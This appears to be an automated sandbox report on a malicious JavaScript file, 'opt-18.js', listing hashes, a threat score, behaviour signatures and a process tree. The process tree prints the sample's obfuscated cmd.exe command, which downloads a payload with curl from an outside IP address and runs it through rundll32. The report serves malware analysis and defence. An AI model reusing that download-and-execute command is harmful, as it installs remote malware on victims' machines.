Analysis

  • max time kernel
    158s
  • max time network
    163s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/10/2023, 18:24

General

  • Target
    opt-18.js
  • Size 413KB
  • Sample231016-w12ccagb39
  • SHA256 81a5e37edb0af191cde620a3448b078345b182f088e3e216e7aad4bc4e9f6a38
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\opt-18.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:4744
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ec || eCho ec & PING ec || cURL http://198.98.61.173/Ftn/level -o %TMP%\ec.log & PING -n 2 ec || ruNDlL32 %tmp%\ec.log scab /k haval462 & EXIT prqiAmUavMTcuG=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1320
      • C:\Windows\system32\PING.EXE
        PING ec
        3⤵
        • Runs ping.exe
        PID:4592
      • C:\Windows\system32\curl.exe
        cURL http://198.98.61.173/Ftn/level -o C:\Users\Admin\AppData\Local\Temp\ec.log
        3⤵
          PID:3016
        • C:\Windows\system32\PING.EXE
          PING -n 2 ec
          3⤵
          • Runs ping.exe
          PID:2912
        • C:\Windows\system32\rundll32.exe
          ruNDlL32 C:\Users\Admin\AppData\Local\Temp\ec.log scab /k haval462
          3⤵
            PID:4580

      Network

            MITRE ATT&CK Enterprise v15

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